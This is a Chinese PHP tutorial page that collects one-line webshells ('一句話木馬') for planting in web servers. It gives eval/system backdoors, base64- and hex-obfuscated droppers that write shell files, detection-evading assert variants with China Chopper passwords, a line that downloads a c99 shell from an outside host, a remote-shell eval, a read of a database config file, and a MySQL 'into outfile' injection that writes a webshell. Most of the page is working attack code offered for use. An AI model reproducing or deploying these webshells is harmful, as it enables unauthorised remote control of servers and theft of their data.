PHP與SQL語句寫一句話木馬總結(jié)
更新時間：2019年10月11日 14:18:20 作者：藏色散人
在本篇文章里小編給大家整理的是關(guān)于PHP與SQL語句寫一句話木馬的相關(guān)知識點(diǎn)，有需要的朋友們學(xué)習(xí)下。
一、基礎(chǔ)類的一句話--功能僅限于驗(yàn)證漏洞了，實(shí)際中非常容易被查出出來：
<?php @eval($_GET["code"])?> <?php @system($_POST["cmd"])?>
二、編碼的替換的類型：
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
//會生成<?php @eval($_POST['lostwolf']);?>
<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>
//php在html內(nèi)部的一種嵌入方式
<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>
三、其他類型：
<?php $_GET[a]($_GET[b]);?>
//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
<?php assert($_REQUEST["pass"]);?> //菜刀連接 躲避檢測 密碼pass
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);？>
//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 腳本類型:php 密碼為 pass
四、下載類型：
<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?>
<? echo file_get_contents("..//cfg_database.php");?> //顯示某文件
<? eval ( file_get_contents("遠(yuǎn)程shell")) ?> //運(yùn)行遠(yuǎn)程shell
五、無關(guān)鍵函數(shù)類型：
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass
<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
六、補(bǔ)充知識點(diǎn)：
SQL寫一句話（MySQL）：
select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php" #前面是一句話內(nèi)容 后面是絕對路徑www下的PHP文件，同理其他腳本也可以
以上就是PHP一句話木馬小結(jié)與SQL語句寫一句話木馬的詳細(xì)內(nèi)容，感謝大家的學(xué)習(xí)和對腳本之家的支持。
相關(guān)文章
CURL的學(xué)習(xí)和應(yīng)用(附多線程實(shí)現(xiàn))
這篇文章主要介紹了CURL的安裝與多線程實(shí)現(xiàn)方法，需要的朋友可以參考下2013-06-06
PHP學(xué)習(xí)筆記 IIS7下安裝配置php環(huán)境
PHP學(xué)習(xí)筆記 IIS7下安裝配置php環(huán)境，需要的朋友可以參考下2012-10-10
PHP syntax error, unexpected $end 錯誤的一種原因及解決
PHP 遇到 syntax error, unexpected $end 錯誤時，查錯思路其實(shí)還是看看文件里 PHP 的開始標(biāo)記和結(jié)束標(biāo)記是否配對，還要額外注意注釋里是否出現(xiàn)過 ?> 喲。2008-10-10
php中json_encode UTF-8中文亂碼的更好解決方法
網(wǎng)上找到說json_encode編碼設(shè)置為UTF-8中文就不會亂碼，在用過一段時間之后就不太管用了，下面與大家分享更好的方法2014-09-09
PHP實(shí)現(xiàn)PDF轉(zhuǎn)圖片的方法詳解
這篇文章主要給大家介紹了關(guān)于PHP將PDF轉(zhuǎn)圖片的實(shí)現(xiàn)方法，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-12-12
這篇文章主要介紹了PHP代碼重構(gòu)方法,結(jié)合實(shí)例形式較為詳細(xì)的分析了php代碼重構(gòu)的概念、原理、相關(guān)實(shí)現(xiàn)技巧與注意事項(xiàng),需要的朋友可以參考下2018-04-04
本篇文章是對php實(shí)現(xiàn)抽獎的程序代碼進(jìn)行了詳細(xì)的分析介紹，需要的朋友參考下2013-06-06
PHP實(shí)現(xiàn)二維數(shù)組按指定的鍵名排序的方法示例
這篇文章主要介紹了PHP實(shí)現(xiàn)二維數(shù)組按指定的鍵名排序的方法,這里以數(shù)組記錄三個人信息中的年齡age字段值進(jìn)行排序?yàn)槔?分析了php二維數(shù)組排序的操作技巧,需要的朋友可以參考下2017-08-08
為Plesk PHP7啟用Oracle OCI8擴(kuò)展方法總結(jié)
在本篇文章里小編給大家總結(jié)了關(guān)于為Plesk PHP7啟用Oracle OCI8擴(kuò)展方法和相關(guān)代碼，需要的朋友們學(xué)習(xí)下。2019-03-03
laravel是一個流行的PHP開發(fā)框架,用于構(gòu)建高性能的Web應(yīng)用程序,在開發(fā)和維護(hù)laravel項(xiàng)目時,了解當(dāng)前使用的laravel版本是非常重要的,本文將介紹三種方法來查看laravel版本,需要的朋友可以參考下2023-11-11